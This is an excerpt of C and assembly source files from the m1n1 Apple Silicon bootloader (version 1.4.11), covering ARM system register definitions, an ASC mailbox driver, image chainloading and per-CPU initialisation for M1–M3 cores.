AIC_IPI_SEND_CPU(cpu) BIT(cpu) #define AIC_IPI_OTHER BIT(0) #define AIC_IPI_SELF BIT(31) #define AIC1_MAX_IRQ 0x400 #define AIC_MAX_HW_NUM (0x80 * 32) // max_irq of the M1 Max m1n1-1.4.11/src/arm_cpu_regs.h000066400000000000000000000262521453754430200157760ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "types.h" #define SYS_ACTLR_EL1 sys_reg(3, 0, 1, 0, 1) #define SYS_ACTLR_EL2 sys_reg(3, 4, 1, 0, 1) #define SYS_ACTLR_EL3 sys_reg(3, 6, 1, 0, 1) #define SYS_CNTHCTL_EL2 sys_reg(3, 4, 14, 1, 0) // HCR_EL2.E2H == 1 #define CNTHCTL_EVNTIS BIT(17) #define CNTHCTL_EL1NVVCT BIT(16) #define CNTHCTL_EL1NVPCT BIT(15) #define CNTHCTL_EL1TVCT BIT(14) #define CNTHCTL_EL1TVT BIT(13) #define CNTHCTL_ECV BIT(12) #define CNTHCTL_EL1PTEN BIT(11) #define CNTHCTL_EL1PCTEN BIT(10) #define CNTHCTL_EL0PTEN BIT(9) #define CNTHCTL_EL0VTEN BIT(8) #define CNTHCTL_EVNTI GENMASK(7, 4) #define CNTHCTL_EVNTDIR BIT(3) #define CNTHCTL_EVNTEN BIT(2) #define CNTHCTL_EL0VCTEN BIT(1) #define CNTHCTL_EL0PCTEN BIT(0) #define SYS_CNTV_CTL_EL0 sys_reg(3, 3, 14, 3, 1) #define SYS_CNTV_CTL_EL02 sys_reg(3, 5, 14, 3, 1) #define SYS_CNTP_CTL_EL0 sys_reg(3, 3, 14, 2, 1) #define SYS_CNTP_CTL_EL02 sys_reg(3, 5, 14, 2, 1) #define SYS_CNTHV_CTL_EL2 sys_reg(3, 4, 14, 3, 1) #define SYS_CNTHP_CTL_EL2 sys_reg(3, 4, 14, 2, 1) #define CNTx_CTL_ISTATUS BIT(2) #define CNTx_CTL_IMASK BIT(1) #define CNTx_CTL_ENABLE BIT(0) #define SYS_CNTV_TVAL_EL0 sys_reg(3, 3, 14, 3, 0) #define SYS_CNTV_CTL_EL0 sys_reg(3, 3, 14, 3, 1) #define SYS_CNTV_CVAL_EL0 sys_reg(3, 3, 14, 3, 2) #define SYS_CNTV_TVAL_EL02 sys_reg(3, 5, 14, 3, 0) #define SYS_CNTV_CTL_EL02 sys_reg(3, 5, 14, 3, 1) #define SYS_CNTV_CVAL_EL02 sys_reg(3, 5, 14, 3, 2) #define SYS_CNTP_TVAL_EL0 sys_reg(3, 3, 14, 2, 0) #define SYS_CNTP_CTL_EL0 sys_reg(3, 3, 14, 2, 1) #define SYS_CNTP_CVAL_EL0 sys_reg(3, 3, 14, 2, 2) #define SYS_CNTP_TVAL_EL02 sys_reg(3, 5, 14, 2, 0) #define SYS_CNTP_CTL_EL02 sys_reg(3, 5, 14, 2, 1) #define SYS_CNTP_CVAL_EL02 sys_reg(3, 5, 14, 2, 2) #define SYS_ESR_EL2 sys_reg(3, 4, 5, 2, 0) #define ESR_ISS2 GENMASK(36, 32) #define ESR_EC GENMASK(31, 26) #define ESR_IL BIT(25) #define ESR_ISS GENMASK(24, 0) #define ESR_EC_UNKNOWN 0b000000 #define ESR_EC_WFI 0b000001 #define ESR_EC_FP_TRAP 0b000111 #define ESR_EC_PAUTH_TRAP 0b001000 #define ESR_EC_LS64 0b001010 #define ESR_EC_BTI 0b001101 #define ESR_EC_ILLEGAL 0b001110 #define ESR_EC_SVC 0b010101 #define ESR_EC_HVC 0b010110 #define ESR_EC_SMC 0b010111 #define ESR_EC_MSR 0b011000 #define ESR_EC_SVE 0b011001 #define ESR_EC_PAUTH_FAIL 0b011100 #define ESR_EC_IABORT_LOWER 0b100000 #define ESR_EC_IABORT 0b100001 #define ESR_EC_PC_ALIGN 0b100010 #define ESR_EC_DABORT_LOWER 0b100100 #define ESR_EC_DABORT 0b100101 #define ESR_EC_SP_ALIGN 0b100110 #define ESR_EC_FP_EXC 0b101100 #define ESR_EC_SERROR 0b101111 #define ESR_EC_BKPT_LOWER 0b110000 #define ESR_EC_BKPT 0b110001 #define ESR_EC_SSTEP_LOWER 0b110010 #define ESR_EC_SSTEP 0b110011 #define ESR_EC_WATCH_LOWER 0b110100 #define ESR_EC_WATCH 0b110101 #define ESR_EC_BRK 0b111100 #define ESR_ISS_DABORT_ISV BIT(24) #define ESR_ISS_DABORT_SAS GENMASK(23, 22) #define ESR_ISS_DABORT_SSE BIT(21) #define ESR_ISS_DABORT_SRT GENMASK(20, 16) #define ESR_ISS_DABORT_SF BIT(15) #define ESR_ISS_DABORT_AR BIT(14) #define ESR_ISS_DABORT_VNCR BIT(13) #define ESR_ISS_DABORT_SET GENMASK(12, 11) #define ESR_ISS_DABORT_LSR GENMASK(12, 11) #define ESR_ISS_DABORT_FnV BIT(10) #define ESR_ISS_DABORT_EA BIT(9) #define ESR_ISS_DABORT_CM BIT(8) #define ESR_ISS_DABORT_S1PTR BIT(7) #define ESR_ISS_DABORT_WnR BIT(6) #define ESR_ISS_DABORT_DFSC GENMASK(5, 0) #define SAS_8B 0 #define SAS_16B 1 #define SAS_32B 2 #define SAS_64B 3 #define ESR_ISS_MSR_OP0 GENMASK(21, 20) #define ESR_ISS_MSR_OP0_SHIFT 20 #define ESR_ISS_MSR_OP2 GENMASK(19, 17) #define ESR_ISS_MSR_OP2_SHIFT 17 #define ESR_ISS_MSR_OP1 GENMASK(16, 14) #define ESR_ISS_MSR_OP1_SHIFT 14 #define ESR_ISS_MSR_CRn GENMASK(13, 10) #define ESR_ISS_MSR_CRn_SHIFT 10 #define ESR_ISS_MSR_Rt GENMASK(9, 5) #define ESR_ISS_MSR_CRm GENMASK(4, 1) #define ESR_ISS_MSR_CRm_SHIFT 1 #define ESR_ISS_MSR_DIR BIT(0) #define SYS_HCR_EL2 sys_reg(3, 4, 1, 1, 0) #define HCR_TWEDEL GENMASK(63, 60) #define HCR_TWEDEn BIT(59) #define HCR_TID5 BIT(58) #define HCR_DCT BIT(57) #define HCR_ATA BIT(56) #define HCR_TTLBOS BIT(55) #define HCR_TTLBIS BIT(54) #define HCR_EnSCXT BIT(53) #define HCR_TOCU BIT(52) #define HCR_AMVOFFEN BIT(51) #define HCR_TICAB BIT(50) #define HCR_TID4 BIT(49) #define HCR_FIEN BIT(47) #define HCR_FWB BIT(46) #define HCR_NV2 BIT(45) #define HCR_AT BIT(44) #define HCR_NV1 BIT(43) #define HCR_NV1 BIT(43) #define HCR_NV BIT(42) #define HCR_NV BIT(42) #define HCR_API BIT(41) #define HCR_APK BIT(40) #define HCR_MIOCNCE BIT(38) #define HCR_TEA BIT(37) #define HCR_TERR BIT(36) #define HCR_TLOR BIT(35) #define HCR_E2H BIT(34) #define HCR_ID BIT(33) #define HCR_CD BIT(32) #define HCR_RW BIT(31) #define HCR_TRVM BIT(30) #define HCR_HCD BIT(29) #define HCR_TDZ BIT(28) #define HCR_TGE BIT(27) #define HCR_TVM BIT(26) #define HCR_TTLB BIT(25) #define HCR_TPU BIT(24) #define HCR_TPCP BIT(23) #define HCR_TPC BIT(23) #define HCR_TSW BIT(22) #define HCR_TACR BIT(21) #define HCR_TIDCP BIT(20) #define HCR_TSC BIT(19) #define HCR_TID3 BIT(18) #define HCR_TID2 BIT(17) #define HCR_TID1 BIT(16) #define HCR_TID0 BIT(15) #define HCR_TWE BIT(14) #define HCR_TWI BIT(13) #define HCR_DC BIT(12) #define HCR_BSU GENMASK(11, 10) #define HCR_FB BIT(9) #define HCR_VSE BIT(8) #define HCR_VI BIT(7) #define HCR_VF BIT(6) #define HCR_AMO BIT(5) #define HCR_IMO BIT(4) #define HCR_FMO BIT(3) #define HCR_PTW BIT(2) #define HCR_SWIO BIT(1) #define HCR_VM BIT(0) #define SYS_ID_AA64MMFR0_EL1 sys_reg(3, 0, 0, 7, 0) #define ID_AA64MMFR0_ECV GENMASK(63, 60) #define ID_AA64MMFR0_FGT GENMASK(59, 56) #define ID_AA64MMFR0_ExS GENMASK(47, 44) #define ID_AA64MMFR0_TGran4_2 GENMASK(43, 40) #define ID_AA64MMFR0_TGran64_2 GENMASK(39, 36) #define ID_AA64MMFR0_TGran16_2 GENMASK(35, 32) #define ID_AA64MMFR0_TGran4 GENMASK(31, 28) #define ID_AA64MMFR0_TGran64 GENMASK(27, 24) #define ID_AA64MMFR0_TGran16 GENMASK(23, 20) #define ID_AA64MMFR0_BigEndEL0 GENMASK(19, 16) #define ID_AA64MMFR0_SNSMem GENMASK(15, 12) #define ID_AA64MMFR0_BigEnd GENMASK(11, 8) #define ID_AA64MMFR0_ASIDBits GENMASK(7, 4) #define ID_AA64MMFR0_PARange GENMASK(3, 0) #define SYS_PAR_EL1 sys_reg(3, 0, 7, 4, 0) // AArch64-PAR_EL1.F == 0b0 #define PAR_ATTR GENMASK(63, 56) #define PAR_PA GENMASK(51, 12) #define PAR_NS BIT(9) #define PAR_SH GENMASK(8, 7) #define PAR_F BIT(0) // AArch64-PAR_EL1.F == 0b1 #define PAR_S BIT(9) #define PAR_PTW BIT(8) #define PAR_FST GENMASK(6, 1) #define SYS_SCTLR_EL1 sys_reg(3, 0, 1, 0, 0) #define SYS_SCTLR_EL12 sys_reg(3, 5, 1, 0, 0) #define SCTLR_EPAN BIT(57) #define SCTLR_EnALS BIT(56) #define SCTLR_EnAS0 BIT(55) #define SCTLR_EnASR BIT(54) #define SCTLR_TWEDEL GENMASK(49, 46) #define SCTLR_TWEDEn BIT(45) #define SCTLR_DSSBS BIT(44) #define SCTLR_ATA BIT(43) #define SCTLR_ATA0 BIT(42) #define SCTLR_TCF GENMASK(41, 40) #define SCTLR_TCF0 GENMASK(39, 38) #define SCTLR_ITFSB BIT(37) #define SCTLR_BT1 BIT(36) #define SCTLR_BT0 BIT(35) #define SCTLR_EnIA BIT(31) #define SCTLR_EnIB BIT(30) #define SCTLR_LSMAOE BIT(29) #define SCTLR_nTLSMD BIT(28) #define SCTLR_EnDA BIT(27) #define SCTLR_UCI BIT(26) #define SCTLR_EE BIT(25) #define SCTLR_E0E BIT(24) #define SCTLR_SPAN BIT(23) #define SCTLR_EIS BIT(22) #define SCTLR_IESB BIT(21) #define SCTLR_TSCXT BIT(20) #define SCTLR_WXN BIT(19) #define SCTLR_nTWE BIT(18) #define SCTLR_nTWI BIT(16) #define SCTLR_UCT BIT(15) #define SCTLR_DZE BIT(14) #define SCTLR_EnDB BIT(13) #define SCTLR_I BIT(12) #define SCTLR_EOS BIT(11) #define SCTLR_EnRCTX BIT(10) #define SCTLR_UMA BIT(9) #define SCTLR_SED BIT(8) #define SCTLR_ITD BIT(7) #define SCTLR_nAA BIT(6) #define SCTLR_CP15BEN BIT(5) #define SCTLR_SA0 BIT(4) #define SCTLR_SA BIT(3) #define SCTLR_C BIT(2) #define SCTLR_A BIT(1) #define SCTLR_M BIT(0) #define SYS_SPSR_EL1 sys_reg(3, 0, 4, 0, 0) #define SYS_SPSR_EL12 sys_reg(3, 5, 4, 0, 0) #define SYS_SPSR_EL2 sys_reg(3, 4, 4, 0, 0) // exception taken from AArch64 #define SPSR_N BIT(31) #define SPSR_Z BIT(30) #define SPSR_C BIT(29) #define SPSR_V BIT(28) #define SPSR_TCO BIT(25) #define SPSR_DIT BIT(24) #define SPSR_UAO BIT(23) #define SPSR_PAN BIT(22) #define SPSR_SS BIT(21) #define SPSR_IL BIT(20) #define SPSR_SSBS BIT(12) #define SPSR_BTYPE GENMASK(11, 10) #define SPSR_D BIT(9) #define SPSR_A BIT(8) #define SPSR_I BIT(7) #define SPSR_F BIT(6) #define SPSR_M GENMASK(4, 0) #define SYS_TCR_EL1 sys_reg(3, 0, 2, 0, 2) #define TCR_DS BIT(59) #define TCR_TCMA1 BIT(58) #define TCR_TCMA0 BIT(57) #define TCR_E0PD1 BIT(56) #define TCR_E0PD0 BIT(55) #define TCR_NFD1 BIT(54) #define TCR_NFD0 BIT(53) #define TCR_TBID1 BIT(52) #define TCR_TBID0 BIT(51) #define TCR_HWU162 BIT(50) #define TCR_HWU161 BIT(49) #define TCR_HWU160 BIT(48) #define TCR_HWU159 BIT(47) #define TCR_HWU062 BIT(46) #define TCR_HWU061 BIT(45) #define TCR_HWU060 BIT(44) #define TCR_HWU059 BIT(43) #define TCR_HPD1 BIT(42) #define TCR_HPD0 BIT(41) #define TCR_HD BIT(40) #define TCR_HA BIT(39) #define TCR_TBI1 BIT(38) #define TCR_TBI0 BIT(37) #define TCR_AS BIT(36) #define TCR_IPS GENMASK(34, 32) #define TCR_IPS_1TB 0b010UL #define TCR_IPS_4TB 0b011UL #define TCR_IPS_16TB 0b100UL #define TCR_TG1 GENMASK(31, 30) #define TCR_TG1_16K 0b01UL #define TCR_SH1 GENMASK(29, 28) #define TCR_SH1_IS 0b11UL #define TCR_ORGN1 GENMASK(27, 26) #define TCR_ORGN1_WBWA 0b01UL #define TCR_IRGN1 GENMASK(25, 24) #define TCR_IRGN1_WBWA 0b01UL #define TCR_EPD1 BIT(23) #define TCR_A1 BIT(22) #define TCR_T1SZ GENMASK(21, 16) #define TCR_T1SZ_48BIT 16UL #define TCR_TG0 GENMASK(15, 14) #define TCR_TG0_16K 0b10UL #define TCR_SH0 GENMASK(13, 12) #define TCR_SH0_IS 0b11UL #define TCR_ORGN0 GENMASK(11, 10) #define TCR_ORGN0_WBWA 0b01UL #define TCR_IRGN0 GENMASK(9, 8) #define TCR_IRGN0_WBWA 0b01UL #define TCR_EPD0 BIT(7) #define TCR_T0SZ GENMASK(5, 0) #define TCR_T0SZ_48BIT 16UL #define SYS_VTCR_EL2 sys_reg(3, 4, 2, 1, 2) // Profile(A) #define VTCR_SL2 BIT(33) #define VTCR_DS BIT(32) #define VTCR_NSA BIT(30) #define VTCR_NSW BIT(29) #define VTCR_HWU62 BIT(28) #define VTCR_HWU61 BIT(27) #define VTCR_HWU60 BIT(26) #define VTCR_HWU59 BIT(25) #define VTCR_HD BIT(22) #define VTCR_HA BIT(21) #define VTCR_VS BIT(19) #define VTCR_PS GENMASK(18, 16) #define VTCR_TG0 GENMASK(15, 14) #define VTCR_SH0 GENMASK(13, 12) #define VTCR_ORGN0 GENMASK(11, 10) #define VTCR_IRGN0 GENMASK(9, 8) #define VTCR_SL0 GENMASK(7, 6) #define VTCR_SL0 GENMASK(7, 6) #define VTCR_T0SZ GENMASK(5, 0) m1n1-1.4.11/src/asc.c000066400000000000000000000060271453754430200140670ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "adt.h" #include "asc.h" #include "malloc.h" #include "utils.h" #define ASC_CPU_CONTROL 0x44 #define ASC_CPU_CONTROL_START 0x10 #define ASC_MBOX_CONTROL_FULL BIT(16) #define ASC_MBOX_CONTROL_EMPTY BIT(17) #define ASC_MBOX_A2I_CONTROL 0x110 #define ASC_MBOX_A2I_SEND0 0x800 #define ASC_MBOX_A2I_SEND1 0x808 #define ASC_MBOX_A2I_RECV0 0x810 #define ASC_MBOX_A2I_RECV1 0x818 #define ASC_MBOX_I2A_CONTROL 0x114 #define ASC_MBOX_I2A_SEND0 0x820 #define ASC_MBOX_I2A_SEND1 0x828 #define ASC_MBOX_I2A_RECV0 0x830 #define ASC_MBOX_I2A_RECV1 0x838 struct asc_dev { uintptr_t cpu_base; uintptr_t base; int iop_node; }; asc_dev_t *asc_init(const char *path) { int asc_path[8]; int node = adt_path_offset_trace(adt, path, asc_path); if (node < 0) { printf("asc: Error getting ASC node %s\n", path); return NULL; } u64 base; if (adt_get_reg(adt, asc_path, "reg", 0, &base, NULL) < 0) { printf("asc: Error getting ASC %s base address.\n", path); return NULL; } asc_dev_t *asc = calloc(1, sizeof(*asc)); if (!asc) return NULL; asc->iop_node = adt_first_child_offset(adt, node); asc->cpu_base = base; asc->base = base + 0x8000; // clear32(base + ASC_CPU_CONTROL, ASC_CPU_CONTROL_START); return asc; } void asc_free(asc_dev_t *asc) { free(asc); } int asc_get_iop_node(asc_dev_t *asc) { return asc->iop_node; } void asc_cpu_start(asc_dev_t *asc) { set32(asc->cpu_base + ASC_CPU_CONTROL, ASC_CPU_CONTROL_START); } void asc_cpu_stop(asc_dev_t *asc) { clear32(asc->cpu_base + ASC_CPU_CONTROL, ASC_CPU_CONTROL_START); } bool asc_cpu_running(asc_dev_t *asc) { return read32(asc->cpu_base + ASC_CPU_CONTROL) & ASC_CPU_CONTROL_START; } bool asc_can_recv(asc_dev_t *asc) { return !(read32(asc->base + ASC_MBOX_I2A_CONTROL) & ASC_MBOX_CONTROL_EMPTY); } bool asc_recv(asc_dev_t *asc, struct asc_message *msg) { if (!asc_can_recv(asc)) return false; msg->msg0 = read64(asc->base + ASC_MBOX_I2A_RECV0); msg->msg1 = (u32)read64(asc->base + ASC_MBOX_I2A_RECV1); dma_rmb(); // printf("received msg: %lx %x\n", msg->msg0, msg->msg1); return true; } bool asc_recv_timeout(asc_dev_t *asc, struct asc_message *msg, u32 delay_usec) { u64 timeout = timeout_calculate(delay_usec); while (!timeout_expired(timeout)) { if (asc_recv(asc, msg)) return true; } return false; } bool asc_can_send(asc_dev_t *asc) { return !(read32(asc->base + ASC_MBOX_A2I_CONTROL) & ASC_MBOX_CONTROL_FULL); } bool asc_send(asc_dev_t *asc, const struct asc_message *msg) { if (poll32(asc->base + ASC_MBOX_A2I_CONTROL, ASC_MBOX_CONTROL_FULL, 0, 200000)) { printf("asc: A2I mailbox full for 200ms. Is the ASC stuck?"); return false; } dma_wmb(); write64(asc->base + ASC_MBOX_A2I_SEND0, msg->msg0); write64(asc->base + ASC_MBOX_A2I_SEND1, msg->msg1); // printf("sent msg: %lx %x\n", msg->msg0, msg->msg1); return true; } m1n1-1.4.11/src/asc.h000066400000000000000000000012361453754430200140710ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef ASC_H #define ASC_H #include "types.h" struct asc_message { u64 msg0; u32 msg1; }; typedef struct asc_dev asc_dev_t; asc_dev_t *asc_init(const char *path); void asc_free(asc_dev_t *asc); int asc_get_iop_node(asc_dev_t *asc); void asc_cpu_start(asc_dev_t *asc); void asc_cpu_stop(asc_dev_t *asc); bool asc_cpu_running(asc_dev_t *asc); bool asc_can_recv(asc_dev_t *asc); bool asc_can_send(asc_dev_t *asc); bool asc_recv(asc_dev_t *asc, struct asc_message *msg); bool asc_recv_timeout(asc_dev_t *asc, struct asc_message *msg, u32 delay_usec); bool asc_send(asc_dev_t *asc, const struct asc_message *msg); #endif m1n1-1.4.11/src/chainload.c000066400000000000000000000067331453754430200152470ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "../build/build_cfg.h" #include "chainload.h" #include "adt.h" #include "malloc.h" #include "memory.h" #include "nvme.h" #include "string.h" #include "types.h" #include "utils.h" #include "xnuboot.h" #ifdef CHAINLOADING int rust_load_image(const char *spec, void **image, size_t *size); #endif extern u8 _chainload_stub_start[]; extern u8 _chainload_stub_end[]; int chainload_image(void *image, size_t size, char **vars, size_t var_cnt) { u64 new_base = (u64)_base; size_t image_size = size; printf("chainload: Preparing image...\n"); // m1n1 variables for (size_t i = 0; i < var_cnt; i++) image_size += strlen(vars[i]) + 1; // pad to end payload image_size += 4; image_size = ALIGN_UP(image_size, SZ_16K); // SEPFW size_t sepfw_off = image_size; int anode = adt_path_offset(adt, "/chosen/memory-map"); if (anode < 0) { printf("chainload: /chosen/memory-map not found\n"); return -1; } u64 sepfw[2]; if (ADT_GETPROP_ARRAY(adt, anode, "SEPFW", sepfw) < 0) { printf("chainload: Failed to find SEPFW\n"); return -1; } image_size += sepfw[1]; image_size = ALIGN_UP(image_size, SZ_16K); // Bootargs size_t bootargs_off = image_size; const size_t bootargs_size = SZ_16K; image_size += bootargs_size; printf("chainload: Total image size: 0x%lx\n", image_size); size_t stub_size = _chainload_stub_end - _chainload_stub_start; void *new_image = malloc(image_size + stub_size); // Copy m1n1 memcpy(new_image, image, size); // Add vars u8 *p = new_image + size; for (size_t i = 0; i < var_cnt; i++) { size_t len = strlen(vars[i]); memcpy(p, vars[i], len); p[len] = '\n'; p += len + 1; } // Add end padding memset(p, 0, 4); // Copy SEPFW memcpy(new_image + sepfw_off, (void *)sepfw[0], sepfw[1]); // Adjust ADT SEPFW address sepfw[0] = new_base + sepfw_off; if (adt_setprop(adt, anode, "SEPFW", &sepfw, sizeof(sepfw)) < 0) { printf("chainload: Failed to set SEPFW prop\n"); free(new_image); return -1; } // Copy bootargs struct boot_args *new_boot_args = new_image + bootargs_off; *new_boot_args = cur_boot_args; new_boot_args->top_of_kernel_data = new_base + image_size; // Copy chainload stub void *stub = new_image + image_size; memcpy(stub, _chainload_stub_start, stub_size); dc_cvau_range(stub, stub_size); ic_ivau_range(stub, stub_size); // Set up next stage next_stage.entry = stub; next_stage.args[0] = new_base + bootargs_off; next_stage.args[1] = (u64)new_image; next_stage.args[2] = new_base; next_stage.args[3] = image_size; next_stage.args[4] = new_base + 0x800; // m1n1 entrypoint next_stage.restore_logo = false; return 0; } #ifdef CHAINLOADING int chainload_load(const char *spec, char **vars, size_t var_cnt) { void *image; size_t size; int ret; if (!nvme_init()) { printf("chainload: NVME init failed\n"); return -1; } ret = rust_load_image(spec, &image, &size); nvme_shutdown(); if (ret < 0) return ret; return chainload_image(image, size, vars, var_cnt); } #else int chainload_load(const char *spec, char **vars, size_t var_cnt) { UNUSED(spec); UNUSED(vars); UNUSED(var_cnt); printf("Chainloading files not supported in this build!\n"); return -1; } #endif m1n1-1.4.11/src/chainload.h000066400000000000000000000003771453754430200152520ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef __CHAINLOAD_H__ #define __CHAINLOAD_H__ #include "types.h" int chainload_image(void *base, size_t size, char **vars, size_t var_cnt); int chainload_load(const char *spec, char **vars, size_t var_cnt); #endif m1n1-1.4.11/src/chainload_asm.S000066400000000000000000000005141453754430200160560ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ .text .globl _chainload_stub_start .globl _chainload_stub_end .type _chainload_stub_start, @function _chainload_stub_start: 1: ldp x5, x6, [x1], #16 stp x5, x6, [x2] dc cvau, x2 ic ivau, x2 add x2, x2, #16 sub x3, x3, #16 cbnz x3, 1b br x4 _chainload_stub_end: m1n1-1.4.11/src/chickens.c000066400000000000000000000114421453754430200151050ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "chickens.h" #include "cpu_regs.h" #include "uart.h" #include "utils.h" /* Part IDs in MIDR_EL1 */ #define MIDR_PART_T8181_ICESTORM 0x20 #define MIDR_PART_T8181_FIRESTORM 0x21 #define MIDR_PART_T8103_ICESTORM 0x22 #define MIDR_PART_T8103_FIRESTORM 0x23 #define MIDR_PART_T6000_ICESTORM 0x24 #define MIDR_PART_T6000_FIRESTORM 0x25 #define MIDR_PART_T6001_ICESTORM 0x28 #define MIDR_PART_T6001_FIRESTORM 0x29 #define MIDR_PART_T8110_BLIZZARD 0x30 #define MIDR_PART_T8110_AVALANCHE 0x31 #define MIDR_PART_T8112_BLIZZARD 0x32 #define MIDR_PART_T8112_AVALANCHE 0x33 #define MIDR_PART_T6020_BLIZZARD 0x34 #define MIDR_PART_T6020_AVALANCHE 0x35 #define MIDR_PART_T6021_BLIZZARD 0x38 #define MIDR_PART_T6021_AVALANCHE 0x39 #define MIDR_PART_T6031_EVEREST 0x49 #define MIDR_PART_T6031_SAWTOOTH 0x48 #define MIDR_REV_LOW GENMASK(3, 0) #define MIDR_PART GENMASK(15, 4) #define MIDR_REV_HIGH GENMASK(23, 20) void init_m1_icestorm(void); void init_t8103_firestorm(int rev); void init_t6000_firestorm(int rev); void init_t6001_firestorm(int rev); void init_t8112_blizzard(void); void init_t8112_avalanche(int rev); void init_t6020_blizzard(void); void init_t6020_avalanche(int rev); void init_t6021_blizzard(void); void init_t6021_avalanche(int rev); void init_t6031_sawtooth(void); void init_t6031_everest(int rev); const char *init_cpu(void) { const char *cpu = "Unknown"; msr(OSLAR_EL1, 0); /* This is performed unconditionally on all cores (necessary?) */ if (is_ecore()) reg_set(SYS_IMP_APL_EHID4, EHID4_DISABLE_DC_MVA | EHID4_DISABLE_DC_SW_L2_OPS); else reg_set(SYS_IMP_APL_HID4, HID4_DISABLE_DC_MVA | HID4_DISABLE_DC_SW_L2_OPS); /* Enable NEX powergating, the reset cycles might be overriden by chickens */ if (!is_ecore()) { reg_mask(SYS_IMP_APL_HID13, HID13_RESET_CYCLES_MASK, HID13_RESET_CYCLES(12)); reg_set(SYS_IMP_APL_HID14, HID14_ENABLE_NEX_POWER_GATING); } uint64_t midr = mrs(MIDR_EL1); int part = FIELD_GET(MIDR_PART, midr); int rev = (FIELD_GET(MIDR_REV_HIGH, midr) << 4) | FIELD_GET(MIDR_REV_LOW, midr); printf(" CPU part: 0x%x rev: 0x%x\n", part, rev); switch (part) { case MIDR_PART_T8103_FIRESTORM: cpu = "M1 Firestorm"; init_t8103_firestorm(rev); break; case MIDR_PART_T6000_FIRESTORM: cpu = "M1 Pro Firestorm"; init_t6000_firestorm(rev); break; case MIDR_PART_T6001_FIRESTORM: cpu = "M1 Max Firestorm"; init_t6001_firestorm(rev); break; case MIDR_PART_T8103_ICESTORM: cpu = "M1 Icestorm"; init_m1_icestorm(); break; case MIDR_PART_T6000_ICESTORM: cpu = "M1 Pro Icestorm"; init_m1_icestorm(); break; case MIDR_PART_T6001_ICESTORM: cpu = "M1 Max Icestorm"; init_m1_icestorm(); break; case MIDR_PART_T8112_AVALANCHE: cpu = "M2 Avalanche"; init_t8112_avalanche(rev); break; case MIDR_PART_T8112_BLIZZARD: cpu = "M2 Blizzard"; init_t8112_blizzard(); break; case MIDR_PART_T6020_AVALANCHE: cpu = "M2 Pro Avalanche"; init_t6020_avalanche(rev); break; case MIDR_PART_T6020_BLIZZARD: cpu = "M2 Pro Blizzard"; init_t6020_blizzard(); break; case MIDR_PART_T6021_AVALANCHE: cpu = "M2 Max Avalanche"; init_t6021_avalanche(rev); break; case MIDR_PART_T6021_BLIZZARD: cpu = "M2 Max Blizzard"; init_t6021_blizzard(); break; case MIDR_PART_T6031_EVEREST: cpu = "M3 Max Everest"; init_t6031_everest(rev); break; case MIDR_PART_T6031_SAWTOOTH: cpu = "M3 Max Sawtooth"; init_t6031_sawtooth(); break; default: uart_puts(" Unknown CPU type"); break; } int core = mrs(MPIDR_EL1) & 0xff; // Unknown, related to SMP? msr(s3_4_c15_c5_0, core); msr(SYS_IMP_APL_AMX_CTL_EL1, 0x100); // Enable IRQs (at least necessary on t600x) // XXX 0 causes pathological behavior in EL1, 2 works. msr(SYS_IMP_APL_SIQ_CFG_EL1, 2); sysop("isb"); /* Unmask external IRQs, set WFI mode to up (2) */ reg_mask(SYS_IMP_APL_CYC_OVRD, CYC_OVRD_FIQ_MODE_MASK | CYC_OVRD_IRQ_MODE_MASK | CYC_OVRD_WFI_MODE_MASK, CYC_OVRD_FIQ_MODE(0) | CYC_OVRD_IRQ_MODE(0) | CYC_OVRD_WFI_MODE(2)); /* Enable branch prediction state retention across ACC sleep */ reg_mask(SYS_IMP_APL_ACC_CFG, ACC_CFG_BP_SLEEP_MASK, ACC_CFG_BP_SLEEP(3)); return cpu; } m1n1-1.4.11/src/chickens.h000066400000000000000000000001671453754430200151140ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef __CHICKENS_H__ #define __CHICKENS_H__ const char *init_cpu(void); #endif m1n1-1.4.11/src/chickens_avalanche.c000066400000000000000000000063251453754430200171130ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "cpu_regs.h" #include "utils.h" static void init_common_avalanche(void) { reg_mask(SYS_IMP_APL_HID1, HID1_ZCL_RF_MISPREDICT_THRESHOLD_MASK, HID1_ZCL_RF_MISPREDICT_THRESHOLD(1)); reg_mask(SYS_IMP_APL_HID1, HID1_ZCL_RF_RESTART_THRESHOLD_MASK, HID1_ZCL_RF_RESTART_THRESHOLD(3)); reg_set(SYS_IMP_APL_HID11, HID11_DISABLE_LD_NT_WIDGET); reg_set(SYS_IMP_APL_HID9, HID9_TSO_ALLOW_DC_ZVA_WC | HID9_AVL_UNK17); // "configure dummy cycles to work around incorrect temp sensor readings on // NEX power gating" (maybe) reg_mask(SYS_IMP_APL_HID13, HID13_POST_OFF_CYCLES_MASK | HID13_POST_ON_CYCLES_MASK | HID13_PRE_CYCLES_MASK | HID13_GROUP0_FF1_DELAY_MASK | HID13_GROUP0_FF2_DELAY_MASK | HID13_GROUP0_FF3_DELAY_MASK | HID13_GROUP0_FF4_DELAY_MASK | HID13_GROUP0_FF5_DELAY_MASK | HID13_GROUP0_FF6_DELAY_MASK | HID13_GROUP0_FF7_DELAY_MASK | HID13_RESET_CYCLES_MASK, HID13_POST_OFF_CYCLES(8) | HID13_POST_ON_CYCLES(8) | HID13_PRE_CYCLES(1) | HID13_GROUP0_FF1_DELAY(4) | HID13_GROUP0_FF2_DELAY(4) | HID13_GROUP0_FF3_DELAY(4) | HID13_GROUP0_FF4_DELAY(4) | HID13_GROUP0_FF5_DELAY(4) | HID13_GROUP0_FF6_DELAY(4) | HID13_GROUP0_FF7_DELAY(4) | HID13_RESET_CYCLES(0)); reg_mask(SYS_IMP_APL_HID26, HID26_GROUP1_OFFSET_MASK | HID26_GROUP2_OFFSET_MASK, HID26_GROUP1_OFFSET(26) | HID26_GROUP2_OFFSET(31)); reg_mask(SYS_IMP_APL_HID27, HID27_GROUP3_OFFSET_MASK, HID27_GROUP3_OFFSET(31)); } void init_t8112_avalanche(int rev) { UNUSED(rev); init_common_avalanche(); reg_mask(SYS_IMP_APL_HID3, HID3_DEV_PCIE_THROTTLE_LIMIT_MASK, HID3_DEV_PCIE_THROTTLE_LIMIT(60)); reg_set(SYS_IMP_APL_HID3, 